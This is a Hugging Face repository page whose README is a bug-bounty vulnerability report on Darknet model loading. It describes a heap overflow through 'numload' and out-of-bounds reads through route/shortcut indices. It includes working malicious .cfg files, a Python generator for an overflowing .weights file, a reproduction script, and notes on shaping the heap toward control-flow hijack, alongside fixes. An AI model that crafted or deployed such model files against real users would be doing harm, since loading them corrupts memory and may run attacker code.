Downloads · 30 days
0
Talson/mfv-darknet-cfg-weights-memcorrupt
mfv-darknet-cfg-weights-memcorrupt is a machine learning model from Talson. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Target format (huntr): Darknet ($1500 tier, "Model File Formats") Affected loaders: pjreddie/darknet (reference, all 3 bugs); AlexeyAB/darknet (~21k★ — BUG 2/3 class live); hank-ai/darknet (BUG 2 negative-index varian…
Downloads · 30 days
0
Access
Public
Updated Jun 12, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.weights65.6 KB · 69%
From the Hugging Face model README
.cfg / .weights) memory corruption on loadTarget format (huntr): Darknet ($1500 tier, "Model File Formats")
Affected loaders: pjreddie/darknet (reference, all 3 bugs); AlexeyAB/darknet (~21k★ — BUG 2/3 class live); hank-ai/darknet (BUG 2 negative-index variant — unverified)
Class: memory corruption (heap-buffer-overflow WRITE + out-of-bounds READ) reachable purely from a malicious model file on the documented load path.
Status: TOOL-VERIFIED under AddressSanitizer (3 distinct crashes, clean reproduction from a fresh clone). 2026-06-12.
A Darknet/YOLO model is distributed and loaded as a (.cfg, .weights) pair — this is the standard, documented way every YOLOv1/v2/v3 (and AlexeyAB v4) model ships. The canonical load path is:
network *net = parse_network_cfg("model.cfg"); // .cfg fully attacker-controlled
load_weights(net, "model.weights"); // .weights fully attacker-controlled
No opt-in flag, no niche API — darknet detector test, the Python bindings (darknet.py), and every downstream project that consumes a third-party YOLO model walk exactly this path. Loading an untrusted model file is the MFV threat: a victim who downloads a model from a hub/teammate/issue and loads it is memory-corrupted before inference even starts. huntr's model-file program explicitly scopes "vulnerabilities in model file parsing leading to memory corruption (heap overflows, integer overflows, etc.)".
| # | Bug | Primitive | Function / line (pjreddie) | Trigger field | Verified |
|---|---|---|---|---|---|
| 1 | numload rebind overflow | heap-buffer-overflow WRITE, attacker-controlled size + content | load_convolutional_weights src/parser.c:1172 | .cfg numload= + .weights bytes | ✅ ASAN |
| 2 | unbounded route index | OOB READ (SEGV) | parse_route src/parser.c:619 | .cfg [route] layers= | ✅ ASAN |
| 3 | unbounded shortcut index | OOB READ (SEGV) | parse_shortcut src/parser.c:546 | .cfg [shortcut] from= | ✅ ASAN |
BUG 1 is the headline (a controlled heap write → RCE candidate). BUG 2/3 share one root cause (an attacker-controlled layer index dereferenced into net->layers[index] with no bounds check against net->n) and that exact code is live in the widely-used AlexeyAB/darknet fork.
numload heap-buffer-overflow WRITE (primary)CWE-787 Out-of-bounds Write / CWE-122 Heap-based Buffer Overflow. Attacker controls both the overflow length (a .cfg integer) and the overflow contents (raw .weights bytes).
The convolutional layer's per-channel buffers are sized from the .cfg filters value n at layer-construction time:
// src/convolutional_layer.c:198 (make_convolutional_layer, n = "filters")
l.biases = calloc(n, sizeof(float)); // e.g. filters=2 -> 8-byte chunk
Later, at weight-load time, an independent .cfg option numload silently rebinds l.n after those buffers were already allocated for the original n:
// src/parser.c — load_convolutional_weights()
if(l.numload) l.n = l.numload; // line 1170: "numload" from .cfg overrides n
int num = l.c/l.groups*l.n*l.size*l.size;
fread(l.biases, sizeof(float), l.n, fp); // line 1172: reads l.n floats into an n-float buffer
numload is parsed unconditionally from the layer section:
// src/parser.c:846
l.numload = option_find_int_quiet(options, "numload", 0);
With filters=2 (8-byte l.biases) and numload=4096, fread writes 4096 × 4 = 16 384 bytes of attacker .weights content 16 376 bytes past the end of the 8-byte heap chunk. The same overflow then repeats for l.scales, l.rolling_mean, l.rolling_variance if batch_normalize is set. (numload is a legitimate but obscure transfer-learning knob used by darknet partial; numload > filters is never benign.)
l.biases chunk is allocated early; immediately adjacent live heap objects include the same layer's l.scales / l.rolling_mean / l.rolling_variance / l.weights pointers and the subsequent layers' layer structs (which contain function-pointer-bearing fields and pointers that are written through and dereferenced during the rest of load_weights and at the first forward_network). Overwriting an adjacent layer's weights/output/biases pointer yields a controlled write-what-where on the next fread/fill_cpu; overwriting activation/forward function pointers yields control-flow hijack at inference..cfg is a layer-list the attacker fully authors, so they choose how many/what-size allocations precede the vulnerable biases chunk → deterministic adjacency. The overflow size is set per-byte via numload.==ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 16384 at 0x...0b8 thread T0
#1 load_convolutional_weights src/parser.c:1172
#2 load_weights_upto src/parser.c:1250
#3 load_weights src/parser.c:1310
0x...0b8 is located 0 bytes after 8-byte region [0x...0b0,0x...0b8)
allocated by thread T0 here:
#1 make_convolutional_layer src/convolutional_layer.c:198
#2 parse_convolutional src/parser.c:202
#3 parse_network_cfg src/parser.c:777
(full log: findings/darknet_evidence/bug1_numload_overflow.txt)
pjreddie/darknet @ f6afaab (HEAD, the canonical reference): AFFECTED.AlexeyAB/darknet, hank-ai/darknet: the numload rebind was removed from load_convolutional_weights → not affected by BUG 1. (BUG 1 is specific to the reference implementation, which is archived/unpatched.)CWE-125 Out-of-bounds Read. A .cfg-supplied layer index is used to index net->layers[] (size net->n) with no upper-bound check, and a large negative index is not re-validated after the relative-offset fixup.
// src/parser.c — parse_route() (BUG 2, line 619)
int index = atoi(l); // "layers" from .cfg, unbounded
if(index < 0) index = params.index + index;
layers[i] = index;
sizes[i] = net->layers[index].outputs; // OOB: index never checked vs net->n
// src/parser.c — parse_shortcut() (BUG 3, line 546)
int index = atoi(l); // "from" from .cfg, unbounded
if(index < 0) index = params.index + index;
layer from = net->layers[index]; // OOB: reads a whole layer struct
net->layers is calloc(net->n, sizeof(layer)). index = 100000 (route) or 99999 (shortcut) reads far past the array; a large negative from/layers stays negative after the fixup and reads below the array. The read value (.outputs / the entire layer struct) then feeds make_route_layer / make_shortcut_layer sizing and allocation, so the OOB-read value influences subsequent control flow (size of allocations, output dims) — i.e. more than a bare crash.
SEGV ... READ memory access ... parse_route src/parser.c:619 (layers=100000)
SEGV ... READ memory access ... parse_shortcut src/parser.c:546 (from=99999)
(findings/darknet_evidence/bug2_route_oob.txt, bug3_shortcut_oob.txt)
pjreddie/darknet: AFFECTED (route + shortcut, verified).AlexeyAB/darknet (~21k★, de-facto YOLOv3/v4): parse_route (and the analogous parse_shortcut, parse_scale_channels, parse_sam) perform the same if(index<0) index=params.index+index; ... net.layers[index]... with no bounds check → the OOB read is live in the most-used Darknet implementation. (Source: AlexeyAB/darknet src/parser.c parse_route @ master — index is dereferenced unchecked.)hank-ai/darknet: added a positive-side guard (route_index >= parms.index → fatal) but the negative-index path (params.index + index still < 0) appears unguarded → likely OOB-below-array (unverified, flagged for follow-up).poc/darknet/gen_and_run.sh clones pjreddie/darknet, builds it with ASAN (CPU-only, no CUDA/OpenCV), generates the three artifacts, and triggers each bug:
poc/darknet/gen_and_run.sh /tmp/darknet_mfv
# BUG 1 -> heap-buffer-overflow WRITE parser.c:1172
# BUG 2 -> SEGV READ parser.c:619
# BUG 3 -> SEGV READ parser.c:546
Artifacts (also checked in under poc/): evil_numload.cfg, evil.weights (65 552 bytes), evil_route.cfg, evil_shortcut.cfg.
evil_numload.cfg (BUG 1):
[net]
height=8
width=8
channels=3
batch=1
[convolutional]
filters=2
size=1
stride=1
pad=0
activation=linear
numload=4096
evil.weights (BUG 1) generator:
import struct
d = struct.pack('<iii', 0, 1, 0) # major=0,minor=1,revision=0 (legacy int-seen header path)
d += struct.pack('<i', 0) # *seen
d += b'\x41' * (4096*4*4) # attacker bytes overflowing the 8-byte l.biases chunk
open('evil.weights','wb').write(d)
evil_route.cfg adds [route]\nlayers=100000; evil_shortcut.cfg adds [shortcut]\nfrom=99999.
Build flags used: gcc -g -O0 -fsanitize=address -std=gnu11 -Iinclude -Isrc -Wno-implicit-function-declaration -Wno-implicit-int -Wno-int-conversion over src/*.c + a 6-line harness calling parse_network_cfg / load_weights.
load_convolutional_weights, reject l.numload > l.n (or re-allocate the per-channel buffers to max(n, numload)), and bound numload to the originally-allocated size before any fread..cfg layer reference: after the negative-offset fixup, require 0 <= index < params.index (the count of already-parsed layers) and fatal-error otherwise. Apply uniformly to route/shortcut/scale_channels/sam.numload overflow or the route/shortcut OOB. Public darknet memory-safety reports cover different paths: stbi__tga_load image-decode heap overflow (issue #128), and a div-by-zero (issue #2631). The two "darknet" hits in a CVE search (CVE-2023-35363, CVE-2023-36896) are false matches (Windows Kernel / MS Excel).pjreddie, last commit 2022-07) and was already removed from the maintained forks — a reviewer may treat it as won't-fix/low-impact. BUG 2/3 is the inverse — a weaker primitive (OOB read) but live in the widely-used AlexeyAB fork. Strongest submission framing: lead with BUG 1 as the memory-corruption class on the reference "Darknet" parser, and cite BUG 2/3's presence in AlexeyAB for real-world impact. Recommend confirming on huntr which Darknet implementation the program scopes before submitting; this is plausibly a single $1500 memcorrupt report (possibly INFORMATIVE risk if they insist on a maintained target for BUG 1 only).BUG 1: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H → ~7.8 (local file, user loads a malicious model; heap write → potential code execution). BUG 2/3: ~6.5 (OOB read → crash/DoS, possible info-influence on sizing).